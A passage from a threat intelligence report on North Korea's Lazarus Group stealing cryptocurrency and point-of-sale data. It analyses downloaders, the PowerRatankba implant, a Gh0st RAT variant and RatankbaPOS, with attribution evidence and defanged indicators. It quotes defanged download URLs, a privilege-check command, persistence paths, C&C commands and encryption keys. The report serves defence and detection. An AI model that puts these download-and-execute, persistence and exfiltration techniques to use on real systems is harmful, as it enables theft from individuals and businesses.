utilized in CHM to retrieve PowerRatankba downloader VBS The 5_6283065828631904327.chm (030b4525558f2c411f972d91b144870b388380b59372e1798926cc2958242863) contains notable pieces of unused code as well as code pointing to an RFC1918 private IP address in the decompressed doc.htm file (Fig. 12). The first excerpt of unused code consists of a more traditional PowerShell command that downloads a script from hxxp://192.168.102[.]21/power.ps1. The next block of code adds an obfuscation technique (also present in other related CHMs) where the quotes are replaced with the character. This obfuscated code downloads a PowerShell payload from the same RFC1918 address but from a different URI: hxxp://192.168.102[.]21/pso.ps1. We assess that this is likely a remnant of the author developing the malicious CHM method using their local environment rather than using code stolen from an unrelated CHM, tool, or other malicious payload. Additionally, another piece of commented code follows which executes a VBScript file C:\Users\dolphinePC\Downloads\run_32.vbs . This may offer another clue to the developer s environment that has a possible username of dolphinePC. Finally, a PowerRatankba.B implant was embedded in the same CHM as aa.ps1 and configured with C&C servers of 92.222.106[.]229 and 158.69.57[.]135. Figure 12: Leftover code in 5_6283065828631904327.chm As a final note on the CHM campaigns, the following three samples contain an email address of either robert_mobile@ gmail[.]com or robert_mobile@mail[.]com, which we assess with some confidence are related to the threat actor: 772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01 6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984 9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5 JavaScript Downloaders Throughout November several compressed ZIP files containing a JavaScript (JS) downloader were observed being hosted on likely attacker-controlled servers. We are not currently aware if or how these files were delivered to potential victims. The naming of the files and the decoy PDF documents they retrieve provide some clues about the nature of the lures. Themes include the cryptocurrency exchanges Coinbase and Bithumb, the Falcon Coin ICO, and a list of Bitcoin transactions. Each JavaScript downloader is obfuscated (Fig. 13) using JavaScript Obfuscator (see Attribution section for additional analysis) or a similar tool. After de-obfuscating (Fig. 14), the logic of the malicious downloader is very straightforward. First, an obfuscated PowerRatankba.B PowerShell script is downloaded from a fake image URL such as: hxxp://51.255.219[.]82/ theme.gif. Next, the PowerShell script is saved to C:\Users\Public\Pictures\opt.ps1 and then executed. North Korea Bitten by Bitcoin Bug Figure 13: Obfuscated falconcoin.js Figure 14: Deobfuscated falconcoin.js revealing PowerRatankba and decoy PDF URLs The last step in execution is to retrieve the decoy PDF from hxxp://51.255.219[.]82/files/download/falconcoin.pdf and open it using rundll32.exe and shell32.dll,OpenAs_RunDLL (Fig. 15-1). Samples using Coinbase and Bithumb themes also downloaded PDF decoys (Fig. 15-2,15-3). Additionally we discovered that the content from the Coinbase decoy has been used in Lazarus group-attributed espionage campaigns (see Attribution for more details). North Korea Bitten by Bitcoin Bug Figure 15: Decoys downloaded or sent along with PowerRatankba JavaScript downloaders VBScript Macro Microsoft Office Documents Two VBScript macro-laden Microsoft Office documents have been observed associated with this activity: one Word document and one Excel spreadsheet. The Word document (b3235a703026b2077ccfa20b3dabd82d65c6b5645f7f1 5e7bbad1ce8173c7960) uses an Internal Revenue Service (IRS) theme and was sent as an attachment named report phishing.doc . The spearphishing email was sent from an @mail.com address with the subject of Phishing Warnning [sic]. Ironically, the sender email address was spoofed as phishing@irs.gov (Fig. 16) while the content of the lure (Fig. 17) was likely copied from an official IRS webpage. Figure 16: Spearphishing email spoofed sender and subject Figure 17: IRS themed Word document PowerRatankba downloader The IRS-themed malicious document uses a macro to download a PowerRatankba VBScript from hxxp://198.100.157[.]239/hide.gif (Fig. 18), save it to C:\ Users\Public\Pictures\opt.vbs, and execute it with wscript. exe. It in turn downloads the PowerRatankba.B from hxxp://198.100.157[.]239/theme.gif, saving the downloaded payload to C:\Users\Public\Pictures\opt.ps1, and finally executing it with powershell.exe. North Korea Bitten by Bitcoin Bug Figure 18: IRS-themed malicious document macro The second malicious Office document we discovered is an Excel spreadsheet named bithumb.xls. It uses a Bithumb lure (Fig. 19) and includes stolen branding. The spreadsheet was found compressed in a ZIP file named Bithumb.zip along with a decoy PDF document named About Bithumb.pdf (Fig. 20). Figure 19: Malicious Bithumb Excel spreadsheet with English option shown, with stolen branding Figure 20: About Bithumb.pdf decoy document inside Bithumb.zip archive, with stolen branding The Excel spreadsheet contains a macro with an embedded Base64-encoded PowerRatankba VBScript downloader (rather than retrieving it from a C&C using HTTP (Fig. 21)). The embedded VBScript is first dropped to disk at c:\Users\ Public\Documents\Proxy.vbs and then executed using wscript.exe. The dropped VBScript file is configured to download PowerRatankba from hxxp://www.energydonate[.]com/images/character.gif while saving the downloaded payload to C:\ Users\Public\Documents\ProxyAutoUpdate.ps1. North Korea Bitten by Bitcoin Bug Figure 21: Base64 encoded PowerRatankba downloader embedded in bithumb.xls Backdoored PyInstaller Applications Most recently, several large email phishing campaigns attempted to trick unsuspecting victims into visiting fake webpages to download or update cryptocurrency applications. The copycat websites were mirror images of legitimate websites with software download links pointing to the correct installers hosted on the legitimate websites. The only exception was the link to download the Windows version of the application, which was hosted on the copycat websites. These PyInstaller executables were backdoored with a few lines of Python code added to download the PowerRatankba implant. The first campaign that utilized this technique used a Bitcoin Gold (BTG) theme to trick the targets into visiting an internationalized domain name (IDN) website (Fig. 22). An email was sent to targets offering a BTG wallet application along with a link to the malicious website: hxxps://xn--bitcoingld-lcb[.]org/. However, web browsers and email clients would display the link as follows: hxxps://bitcoing ld[.]org/. Emails in this BTG campaign were sent between approximately November 10-16, 2017. Some of the known sender emails include but are not limited to: info@xn--bitcoingod-8yb[.]com, info@xn--bitcoigold-o1b[.]com, and tech@xn--bitcoingld-lcb[.]org. Campaigns using IDN can be difficult to recognize as malicious because they are typically very similar to the mimicked legitimate domains except for a single character (Fig. 23). (see IOC section for more likely related IDNs) Figure 22: Sample email containing a URL to malicious IDN hosting PyInstaller PowerRatankba downloader. The North Korea Bitten by Bitcoin Bug IDN email address is emphasized in a red box. Figure 23: Excerpt from phishing email showing the IDN link with red arrow pointing to internationalized character Many thanks to Yonathan Klijnsma (@ydklijnsma) of RiskIQ, whose assistance allowed us to analyze a historical scrape of one of the web pages hosting the malware at xn--bitcoingldlcb[.]org. In the scrape, an additional text and a button were inserted in place of the BTG logo. The button used JavaScript to download a payload from hxxps://bitcoing ld[.]org/bitcoingold. exe (IDN: xn--bitcoingld-lcb[.]org) (Fig. 24). Additional differences are likely the result of changes to the legitimate website (Fig. 25) since the malicious campaign. Figure 24: Malicious BTG website hosting PowerRatankba downloader. Credit: RiskIQ North Korea Bitten by Bitcoin Bug Figure 25: Legitimate BTG website showing difference between legitimate and malicious websites (note: this screenshot was not taken on the same day as the screenshot of the malicious website) Once clicked, the button on the malicious BTG page would have directed a victim to download a payload from hxxps://bitcoing ld[.]org/bitcoingold.exe. At the time of our analysis, this URL was not returning content. However, we discovered from a comment on a multiple anti-virus scanning service that someone targeted by this campaign had uploaded a payload downloaded from the fake website. The file in that case was named ElectronGold-1.1.1.exe (eab612e333baaec0709f3f213f73388607e495d8af9a2851f352481e996283f1). We also found a similar payload with unknown origin named ElectronGold-1.1.exe (b530de08530d1ba19a94bc075e74e2236c106466dedc92be3abdee9908e8cf7e). The second campaign we discovered used a fake Electrum update as the lure to similarly direct victims to a malicious IDN resembling the legitimate electrum.org website (Fig. 26). The emails in this case were sent, based on our visibility, using a unique @mail.com email address for each recipient, and at least some of the emails were sent between November 18-21, 2017. A subject of New Electrum Wallet Released was used to trick victims into thinking that they needed to download an update for Electrum to be able to use Segwit2X and Bitcoin Gold. If a victim clicked on the malicious link, they were presented with what appeared to be a normal version of Electrum s official website (Fig. 27). Figure 26: Phishing email with fake Electrum wallet application update announcement Figure 27: A fake website with links to backdoored installation packages highlighted in red boxes and internationalized character noted by red arrow Each of the links highlighted in red led to a malicious payload hosted directly on the same server: hxxps://xn--electrms2a[.]org/electrum-3.0.3.exe (Fig. 28). The electrum-3.0.3.exe is a backdoored PyInstaller that is configured to download a VBScript PowerRatankba downloader. North Korea Bitten by Bitcoin Bug Figure 28: HTML code from malicious Electrum webpage In both campaigns, the same malicious Python code was injected into the PyInstallers, specifically into \gui\qt\installwizard. py. The backdoor code in each campaign is nearly identical except for the target URL and the file name to which the downloaded VBScript is saved (Fig. 29). Figure 29: Side-by-side comparison of backdoored installwizard.py scripts. Left: BTG, Right: Electrum The BTG campaign was configured to download a VBScript from hxxp://www.btc-gold[.]us/images/top_bar.gif while saving the downloaded script to C:\Users\Public\Documents\diff.vbs. We were unable to retrieve this file but suspect a PowerRatankba variant would have been downloaded based on other campaigns. The Electrum campaign was similarly configured to download a VBScript; however, in this case we were able to analyze the downloaded payload. The backdoored installwizard.py downloaded a script from hxxp://trade.publicvm[.]com/images/top_ bar.gif (see Attribution section for more commentary) while saving the downloaded script to C:\Users\Public\Documents\ Electrum_backup.vbs. The downloaded Electrum_backup.vbs was a PowerRatankba downloader with a target URL of hxxp://trade.publicvm[.]com/images/character.gif, which ultimately delivered a PowerRatankba implant with a C&C of trade. publicvm[.]com. Implant Description and Analysis Three key implants were used at various points in these campaigns. The implants -- PowerRatankba, Gh0st RAT, and RatankbaPOS -- and specific variations are described in detail below. PowerRatankba Description PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba utilizes HTTP for its C&C communication. Once executed, PowerRatankba first sends detailed information about the infected device to its C&C server via the BaseInfo HTTP POST (Fig. 30), including the computer name, IP address(es), OS boot time and installation date, language, if ports 139, 3389, and/or 445 are open/closed/filtered, a process list, and (PowerRatankba.B only) output from two WMIC commands (Fig. 31). North Korea Bitten by Bitcoin Bug Figure 30: Initial HTTP POST containing infected device information to PowerRatankba.A C&C Figure 31: WMIC command output sent via same initial HTTP POST There are only slight variations between the initial BaseInfo HTTP POST, such as the process list is retrieved by PowerRatankba.A using tasklist /svc while PowerRatankba.B uses just tasklist PowerRatankba.A C&C Description After the initial C&C check-in, PowerRatankba.A issues What HTTP GET requests (Fig. 32) to retrieve commands from the C&C server. All PowerRatankba.A HTTP requests contain a randomly generated numeric UID passed in the u HTTP URI parameter. Figure 32: PowerRatankba.A What HTTP GET Request This variant receives commands and sends responses in plaintext. This variant only has four commands (Table 1) including a sleep, exit, and two different execute code functions. North Korea Bitten by Bitcoin Bug Table 1: PowerRatankba.A C&C commands Command Description success Sleep and send request after sleep killkill Exit Execute Download payload from provided URL and execute via memory injection DownExec Download payload from provided URL, save to disk, then execute PowerRatankba.B C&C Description Similar to its predecessor, PowerRatankba.B issues What HTTP requests to its C&C server after the initial check-in. Instead of a numeric UID, this variant uses the infected device s double-Base64-encoded MAC address (Fig. 33). Figure 33: PowerRatankba.B What HTTP GET Request Commands from the C&C are still expected as plaintext but command parameters for all commands except interval are encrypted with DES using Casillas as both the key and initialization vector (IV) and then Base64-encoded. The response of the cmd command is the only data that is sent DES encrypted to the C&C whilst all other network traffic sent from the infected device to the C&C is either plaintext or Base64-encoded. Several new commands were added to this variant (Table 2) while Execute and DownExec were replaced. The command exe was eventually changed to inj while functionality remained the same. Additionally, some earlier variants did not contain all of the commands listed below but the overall capabilities of the backdoor remained largely the same, therefore for the purpose of this research all variants with DES encryption are considered variant PowerRatankba.B. Table 2: PowerRatankba.B C&C commands Command Description success Sleep and send request after sleep killkill Exit interval Change default sleep length Execute command using cmd.exe /c $cmdInst . Command response is sent back to the C&C DES encrypted and Base64 encoded cf_sv Replace SCH, VBS, PS1 files with provided server location and pre-determined URI (e.g., Download payload from provided URL, write to C:\Users\Public\Documents\000.exe, and then execute payload. exe or inj Download payload from provided URL, inject into process memory using InvokeReflectivePEInjection PowerRatankba Persistence For persistence, PowerRatankba.A saves a JS file to the victim s Startup folder as appView.js that will be executed every time the victim s user account logs in. The persistence JS (Fig. 34) contains a XOR encoded PowerShell script to retrieve a Base64 encoded PowerShell from a hardcoded URL (e.g., hxxp://macintosh.linkpc[.]net:8080/mainls.cs ). The encoded PowerShell script used a XOR key of ZWZBGMINRQLUSVTGHWVYANJHTVUHTLTUGKOHIYOXQEFEIPHNGACNKMBWGRTJIHRANIIZJNNZHVF North Korea Bitten by Bitcoin Bug Figure 34: appView.js persistence JS PowerRatankba.B is capable of using two different persistence methods while only one will be used based on whether or not the executing user has Administrator privileges. PowerRatankba first checks if the account has administrator privileges by executing the following command: whoami /groups | findstr /c: S-1-5-32-544 | findstr /c: Enabled group && goto:isadministrator . If the user account does have administrator privileges then PowerRatankba will download a PowerShell script from a hardcoded location (e.g., $BaseServer + images/character.gif ), save it to a hardcoded location (e.g., C:/Windows/System32/WindowsPowerShell/v1.0/Examples/detail.ps1), and finally create a scheduled task to execute the downloaded PowerShell script on system startup. If the user account does not have administrator privileges then a VBScript file is downloaded from a hardcoded location (e.g., $BaseServer + images/top_bar.gif ) and saved to the executing user s Startup folder as, for example, PwdOpt.vbs or ProxyServer.vbs. PowerRatankba.B Stage2 - Gh0st RAT A Gh0st remote access Trojan/tool (RAT) was delivered via PowerRatankba.B to several devices running common cryptocurrency-related applications. The Gh0st RAT samples were delivered via the memory injection exe/inj command (Fig. 35). After decrypting the command with DES the target URL was revealed to be hxxp://180.235.133[.]235/img.gif (Fig. 36). Figure 35: Exe command delivered from PowerRatankba.B C&C to infected device Figure 36 (left): PowerRatankba.B retrieving Base64-encoded Gh0st dropper The fake image was actually a Base64-encoded custom encryptor with the embedded, encrypted Gh0st RAT as the final payload. The encryptor utilized AES in CBC-mode with the NIST Special Publication 800-38A example key of 2B7E151628AED2A6ABF7158809CF4F3C and IV of 000102030405060708090A0B0C0D0E0F (Fig. 37). North Korea Bitten by Bitcoin Bug Figure 37: AES key and IV in custom encryptor downloaded by PowerRatankba.B The decrypted Gh0st implant is a custom variant with magic bytes of RFC18 (Fig. 38). This variant was likely based on version 3.4.0.0 of Gh0st/PCRat, however we consider it likely that the author(s) have given their implants an internal version of 1.0.0.1 as can be observed in the decompressed initial check-in to the C&C (as well as hardcoded in the binaries) (Fig. 39). Figure 38: Magic RFC18 value in unpacked Gh0st RAT sample Figure 39: Version 1.0.0.1 RFC18 Gh0st RAT Much of the 3.4.0.0 code remains the same, including the usage of Zlib compression and the infamous \x78\x9c default Zlib compression header bytes (Fig. 40) observed in countless Gh0st RAT samples over the years. Figure 40: Initial Gh0st check-in depicting RFC18 magic bytes and Zlib header North Korea Bitten by Bitcoin Bug Gh0st RAT Purpose During our research we discovered that long-term sandboxing detonations of PowerRatankba not running cryptocurrencyrelated applications were never infected with a Stage2 implant. This may indicate that the PowerRatankba operator(s) were only interested in infecting device owners with an obvious interest in various cryptocurrencies. In one case, a RFC18 Gh0st RAT was delivered to a PowerRatankba.B infected device within twenty minutes of the initial infection. From analyzing C&C traffic logs we assess that a Lazarus operator almost immediately viewed the screen of the infected device and then proceeded to take over full remote control, giving them the ability to interact with applications on the infected device, including a password-protected Bitcoin wallet application. Shopping Spree: Enter RatankbaPOS Beyond stealing millions of US dollars worth of cryptocurrency, we have discovered a Lazarus operation to steal pointof-sale (POS) data primarily targeting POS terminals of businesses operating in South Korea. Considering the time of year, most retail businesses around the world report their highest volume of sales between November and December so naturally POS is a popular target for criminals. Enter RatankbaPOS, possibly the first publicly documented nation-state sponsored campaign to steal POS data from a POS-related framework.1 At this time we have been unable to determine how RatankbaPOS is being delivered; however, based on its sharing of C&C with PowerRatankba implants we hypothesize that Lazarus operators infiltrated at least one organization s networks utilizing PowerRatankba to deploy later stage implants (including the possibility of RFC18 Gh0ST RAT) to ultimately deploy RatankbaPOS. Based on the fact that the file was hosted on the C&C in plaintext, and not Base64 encoded, we assess that RatankbaPOS was more likely deployed with a later stage implant other than PowerRatankba. RatankbaPOS Analysis RatankbaPOS is deployed through a process injection dropper that is also capable of installing itself persistently, checking a C&C for either an update or a command to delete itself, dropping the RatankbaPOS implant to disk, and finally searching for the targeted POS process and module for injection and ultimately the theft of POS data. The dropper first sets up persistence by creating a registry key in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run\igfxgpttray. It uses its own module file name for the registry key value. Next, it makes an HTTP request to a hardcoded URL hxxp://www[.]webkingston[.]com/update.jsp?action=need_update using a hardcoded User-Agent (UA) of Nimo Software HTTP Retriever 1.0 (Fig. 41) to request either instruction from the C&C to delete itself and remove the persistence registry key or to download an updated implant with which to replace itself. If no response is returned from the C&C, RatankbaPOS will begin the process injection search. Figure 41: RatankbaPOS dropper requesting and receiving update from C&C 1 We acknowledge the excellent work from @ashley_shen_920, @051R15, and @kjkwak12 with their documentation of North Korean-related attacks on VANXATM which was targeting ATM devices and not directly POS. North Korea Bitten by Bitcoin Bug The process injection search begins by taking a snapshot of the process list using CreateToolhelp32Snapshot. The implant dropper/injector will then case-insensitive search for a process named xplatform.exe which we assess is likely associated with Tobesoft s XPLATFORM UI/UX design software. If a process name match is found then a TH32CS_SNAPMODULE CreateToolhelp32Snapshot call is used to make a snapshot of xplatform.exe s running module list. Loaded modules are then iterated using Module32First and Module32Next while converting each result to lowercase by adding 0x20 to any uppercase letters and then finally comparing the string to ksnetadsl.dll (Fig. 42) that we assess is associated with a KSNET POS framework . Finally, the filesize of ksnetadsl.dll is checked to make sure it is 98,304 bytes (Fig. 42). If a successful match is found then the process ID (PID) of xplatform.exe is returned. Lastly, RatankbaPOS will be written to disk as c:\windows\temp\hkp.dll and the PID of xplatform.exe process will be used to inject hkp.dll into xplatform.exe using LoadLibraryA and CreateRemoteThread (Fig. 43). Figure 42: Dropper/injector searching for ksnetadsl.dll and correct filesize North Korea Bitten by Bitcoin Bug Figure 43: Injecting RatankbaPOS into xplatform.exe RatankbaPOS will first hook the KSNETADSL.dll module at offset 0xB146 (Fig. 44). Interestingly there is code for RatankbaPOS to check KSNETADSL.dll for an exported function named 1000B146, which seems like an unusual export name for which to check, but this code will never be used because !strcmp( 1000B146 1000B146 will always be true. We hypothesize that this feature was included either by mistake or was previously used for debugging. RatankbaPOS will also log messages to a file stored in c:\windows\temp\log.tmp. Figure 44: RatankbaPOS setting KSNETADSL.dll injection offset At this point in the reverse engineering process, we would naturally begin reversing the KSNETADSL. dll module; however, we have only been able to find two such modules with a filesize of 98,304 bytes: f2f6b4770718eed349fb7c77429938ac1deae7dd6bcc141ee6f5af9f4501a695 6c8c801bb71b2cd90a2c1595092358e46cbfe63e62ef6994345d6969993ea2d6 North Korea Bitten by Bitcoin Bug After analyzing both KSNETADSL.dll modules, our preliminary assessment is that neither of the modules are the correct target for RatankbaPOS. We can at least gain some insight into the purpose of KSNETADSL.dll, which appears to be the handling of encrypted and decrypted credit card numbers for a KSNET-related POS framework system (Fig. 45). Further analysis of RatankbaPOS focusing on the code used for C&C revealed the likely purpose of this implant Figure 45: Screenshot showing KSNET module interaction with CARD_NO registry key Only one HTTP POST request is programmed in RatankbaPOS for the communication to a C&C that is called via CreateThread in the hook handler (DoC2, Fig. 46). Figure 46: Hook handler creating new thread for C&C then hooking KSNETADSL.dll Our analysis of the C&C communication revealed a number of clues as to what was being exfiltrated. Initially, the implant uses strchr to find the first occurrence of in the string data that is received from the hook of KSNETADSL.dll. Next, 37-bytes beginning at 16-bytes before the position of the are copied to a buffer. Finally, that buffer is compared to a substitution buffer that was created at the beginning of RatankbaPOS execution (Fig. 47). The substitution algorithm uses the values starting at offset 0x30-0x39 in the -filled buffer to substitute the ASCII values of for ZCKOADBLNX well as at offset 0x3D for substitution of ASCII to . Therefore, values will be obfuscated to ZCKOADBLNX while will be obfuscated to (Fig. 48). Figure 47: Obfuscation substitution buffer created in RatankbaPOS North Korea Bitten by Bitcoin Bug Figure 48: Obfuscation substitution buffer in memory To obfuscate the data, RatankbaPOS simply uses the hex value of the cleartext ASCII string to substitute itself for a value in the substitution buffer. For instance, a value of would be substituted to while any equals signs ( ) will be substituted for . This method is used to likely obfuscate the data so it is harder to detect by simply glancing at network traffic or through the use of heuristic-based detection of plaintext credit card data transmitted over the network. Once the stolen data has been obfuscated, it is sent in a POST HTTP request to the URL /list.jsp?action=up using the same hardcoded UA as the injector: Nimo Software HTTP Retriever 1.0 (Fig. 49). So far we have observed the following C&C domains: www.energydonate[.]com and online-help.serveftp[.]com. Figure 49: DoC2 function that obfuscates stolen data and exfiltrates to a C&C North Korea Bitten by Bitcoin Bug Based on documentation we have found online, RatankbaPOS is possibly targeting plaintext track data in the first 16 bytes followed by a and finally followed by encrypted POS-related data beginning with (Fig. 50). According to the document, this is an encrypted form of the track data. Based on this, there is the possibility that this campaign may be targeting a SoftCamp POS-related software application, framework, or device. If we are correct and the values always follow the sign then one could potentially find exfiltrated data in network traffic by searching for the string starting at offset 16 in the client body of an HTTP POST request. However, more logic will likely be necessary to reduce false positives but this opens up several options for detection. Figure 50: Documentation on South Korean POS software depicting POS data that matches the pattern RatankbaPOS is searching for (markings not ours) RatankbaPOS Targeted Region Based on the fact that RatankbaPOS is targeting a South Korean software vendor s POS framework, including clues that the length of exfiltrated data matches related POS data (document here, and another document here), we assess with high confidence that this threat is primarily targeting devices in South Korea. Attribution to Lazarus Group Attribution is a controversial topic and arguably one of the most difficult tasks threat intelligence analysts face. However, based on our research, we assess with a high level of confidence given the information available to us that the operations and activity discussed in this research are attributed to Lazarus Group and ultimately North Korea. In consideration of the controversial and difficult task at hand, we are providing an above and beyond summary of just some of the key pieces and overlaps to validate our assessment. Key reasons, discussed in detail below, are Encryption, Obfuscation, Functionality, Code Overlap, Decoys, and C&C. Encryption In October 2016 Lazarus Group pulled off a major operation that allegedly compromised at least 20 banks in Poland as well as banks in other countries around the world. The attacks have been well documented by BAE, Kaspersky, ESET, TrendMicro, and Symantec. The attribution of this attack to Lazarus (aka, Bluenoroff) and ultimately North Korea is widely accepted across the industry. What has not been documented publicly, to our knowledge, are the specifics behind the implementation of the Spritz encryption cipher utilized in some of the implants surrounding the banking incidents in late 2016 and early 2017. Spritz is self-described as a spongy RC4-like stream cipher that was designed by Ronald Rivest and Jacob Schuldt. Multiple implementations of Spritz exist on Github in languages like C and Python. Anyone researching Lazarus Group version of Spritz will quickly find out that neither of the previously mentioned implementations will successfully decrypt hidden payloads in either banking related implants nor PowerSpritz s legitimate installer payload and malicious PowerShell commands. The issue, or possibly feature, in Lazarus Group s implementation of Spritz can be found buried in a single paragraph on page five of the original Spritz publication (Fig. 51). It states that addition and subtraction may be substituted for exclusiveor (XOR) and is referred to Spritz-xor. North Korea Bitten by Bitcoin Bug Figure 51: Excerpt from Spritz publication Examining Lazarus Group s implementation of Spritz in one of the original implants utilized to compromise banks in late 2016 and 2017 via watering hole attacks, it quickly becomes apparent that they have actually implemented Spritz-xor instead of the normal Spritz algorithm (Fig. 52). Figure 52: Spritz-xor decrypt implementation in Lazarus Group s implant from compromised banks PowerSpritz utilizes the same exact Spritz-xor implementation as the older Lazarus Group-attributed implant (Fig. 53). We assess that due to how rare Spritz usage is ITW, in addition to the implemented deviation from the standard, that it is unlikely a different threat actor is also using this specific implementation. Figure 53: Spritz-xor decrypt implementation in PowerSpritz North Korea Bitten by Bitcoin Bug Obfuscation Earlier this year several watering hole attacks targeting South Korea utilized an ActiveX 0day exploit in M2Soft to deliver Lazarus-connected FBI-RAT and Charon implants. Some of the techniques observed in these attacks overlap with the JS downloader and CHM PowerRatankba campaigns. One such overlap was through the usage of a well-known JS obfuscation technique in both the M2Soft exploit and PowerRatankba JS downloader campaigns. The method is a public and widely used technique of masking strings using their hexadecimal values and placing them in an array assigned to a variable with a naming structure of _0x[a-f0-9]{4} (Fig. 54). Figure 54: ActiveX M2Soft exploit utilizing JS obfuscation also observed in a PowerRatankba campaign Functionality Several features in the original Ratankba implants are similar or identical when compared to PowerRatankba and RatankbaPOS. Furthermore, the usage of a common directory c:\windows\temp\ for the storage of implants and logs are seen across a wide array of Lazarus Group s toolset. A brief overview of similar features is shown in below (Table 3) while a detailed description of each overlap may be found below. Table 3: Feature comparison table Feature Ratankba PowerRatankba RatankbaPOS JSP C&C similarities Commands: success,killkill Sleep 15 minutes loop c:\windows\temp\ M2Soft Exploit FEIB Spreader First consider the C&C protocols utilized in all Ratankba, PowerRatankba, and RatankbaPOS. Ratankba s initial POST to C&C to divulge compromised system information uses the same BaseInfo parameter as PowerRatankba. Additionally, a Ratankba sample (bd7332bfbb6fe50a501988c3834a160cf2ad948091d83ef4de31758b27b2fb7f) utilizes a C&C of list.jsp while RatankbaPOS utilizes an identical URIfile name for allegedly exfiltrating credit card information to a C&C. Second, Ratankba s supported commands include success and killkill that function identically to the respective PowerRatankba commands. Furthermore, a sleep loop of 900 seconds (15 minutes) is utilized in both Ratankba and RatankbaPOS dropper (Fig. 56,56). Figure 55: Ratankba command loop sleep North Korea Bitten by Bitcoin Bug Figure 56: RatankbaPOS dropper target process search loop Lastly, while further analyzing the M2Soft exploit discussed in the Obfuscation section, a familiar destination directory of C:\windows\temp\ was spotted in the deobfuscated JS (Fig. 57,58). This destination directory was also used during the PowerRatankba CHM campaign, by RatankbaPOS for log and implant storage, and by the FEIB spreader. Figure 57: Deobfuscated M2Soft exploit used to deliver Lazarus FBI-RAT implant Figure 58: Deobfuscated M2Soft exploit used to deliver Lazarus Charon implant Code Overlap On or before October 3rd, 2017, the Far Eastern International Bank (FEIB) in Taiwan was hacked by Lazarus Group to steal money via the SWIFT system. One of the implants (9cc69d81613285352ce92ec3cb44227af5daa8ad4e483ecc59427fe23b122fce) utilized in that attack was a loader and spreader that writes itself to the Windows temp directory: c:\windows\temp\. This directory is also used by numerous other Lazarus Group implants including by the RatankbaPOS dropper for the payload drop location as well as for RatankbaPOS logging. Additionally, there are several instances of code overlap between RatankbaPOS and the FEIB spreader implant. One such overlap includes the way in which each implant sets up persistence in almost precisely the same way (Fig. 59). Figure 59: Registry key persistence. Left: FEIB spreader, Right: RatankbaPOS dropper North Korea Bitten by Bitcoin Bug Decoys Content found in a PowerRatankba JS downloader decoy (transaction.pdf downloaded by transaction.js) was previously utilized in Lazarus campaigns using techniques that have more traditionally, to our knowledge, been used for espionage rather than for financial gain. The campaign occurred on August 4th, 2017, where Lazarus Group impersonated a National police officer of South Korea along with a malicious Microsoft Office Excel document. The malicious Excel attachment utilized a macro-based VBScript XOR dropper technique that has been very well documented in public already. The document used in this attack was named .xls (b46530fa2bd5f9958f664e754ae392dc400bd3fcb1c5adc7130b7374e0409924), which roughly translates to Bitcoin transaction history. Using the macro-based VBScript XOR dropper technique a CoreDn downloader implant is dropped to disk with a C&C of www.unsunozo[.]org. The interesting overlap with the PowerRatankba campaigns can be found in the lure used by the Excel spreadsheet (Fig. 60). The highlighted transactions, after the Final bitcoin Address section match with the beginning of the transactions used in the PowerRatankba decoy transaction.pdf. Figure 60: Excel CoreDn ~tmp001.xls decoy on the left, PowerRatankba transaction.pdf decoy on the right On a final note for this aspect of the actor attribution, campaigns utilizing the VBScript XOR macro technique have historically been used for attacks more closely associated with espionage than for direct financial gain, as was the case when several campaigns targeted the personal accounts of employees at US defense contractors. This behavior may offer a clue as to the desperation North Korea has for procuring currency through illicit means, possibly due to the economic sanctions imposed on the regime. This may indicate that there has been a significant shift in directives for the Lazarus team(s) that historically conducted espionage campaigns. Furthermore, several of the campaigns utilizing the old VBScript XOR macro technique have direct or within-one-week overlap with PowerRatankba campaigns alluding to the possibility that there is in fact more than one team working under the North Korean umbrella as other companies have suggested (e.g., Kaspersky s excellent write-up on Bluenoroff). A report was found in a Facebook post from mickeyfintech that listed a domain utilized in several PowerRatankba campaigns as being associated with infrastructure utilized in the breach of the FEIB (Fig. 61). The domain, trade.publicvm[.]com, was allegedly connected to the FEIB hack. That domain was also used by several PowerRatankba downloaders and payloads for hosting as well as C&C. This is a low confidence indicator as we have been unable to corroborate if that domain was in fact utilized by Lazarus in the hacking of the FEIB. Figure 61: Facebook post listing PowerRatankba domain as being associated with FEIB breach North Korea Bitten by Bitcoin Bug Conclusion This report has introduced several new additions to Lazarus Group s ever-growing arsenal, including a variety of different attack vectors, a new PowerShell implant and Gh0st RAT variant, as well as an emerging point-of-sale threat targeting South Korean devices. In addition to insight into Lazarus emerging toolset, there are two key takeaways from this research: Analyzing a financially motivated arm of a state actor highlights an often overlooked or underestimated aspect of statesponsored attacks; in this case, we were able to differentiate the actions of the financially motivated team within Lazarus from those of their espionage and disruption teams that have recently grabbed headlines. This group now appears to be targeting individuals rather than just organizations: individuals are softer targets, often lacking resources and knowledge to defend themselves and providing new avenues of monetization for a statesponsored threat actor s toolkit. Moreover, both the explosive growth in cryptocurrency values and the emergence of new point-of-sale malware near the peak holiday shopping season provide an interesting example of how one state-sponsored actor is following the money, adding direct theft from individuals and organizations to the more traditional approach of targeting financial institutions for espionage that we often observe with other APT actors. Research Contributions Proofpoint Kafeine (@kafeine) Matthew Mesa (@mesa_matt) Kimberly (@StopMalvertisin) James Emory (@sudosev) External Malc0de (@malc0de) Adam (@infosecatom) Jacob Soo (@_jsoo_) Special Thanks We would like to thank Yonathan Klijnsma (@ydklijnsma) and RisqIQ (@RiskIQ) for supporting this research by sharing data and assisting with some of the infrastructure analysis. North Korea Bitten by Bitcoin Bug Indicators of Compromise (IOCs) PowerSpritz ITW URLs hxxp://skype.2[.]vu/1 hxxp://skype.2[.]vu/k hxxp://skypeupdate.2[.]vu/1 hxxp://telegramupdate.2[.]vu/5 hxxps://doc-00-64-docs.googleusercontent[.]com/docs/securesc/ ha0ro937gcuc7l7deffksulhg5h7mbp1/39cbphg8k5qve4q5rr6nonee 1bueiu8o/1499428800000/13030420262846080952/*/0B63J1WTZC49h X1JnZUo4Y1pnRG8?e=download hxxps://drive.google[.]com/uc?export=download&id=0B63J1WTZC49hdDR0clR3cFpITVE hxxp://201.211.183[.]215:8080/update.php?t=Skype&r=update hxxp://122.248.34[.]23/lndex.php?t=SkypeSetup&r=mail_new hxxp://122.248.34[.]23/lndex.php?t=Telegram&r=1.1.9 PowerSpritz Hashes 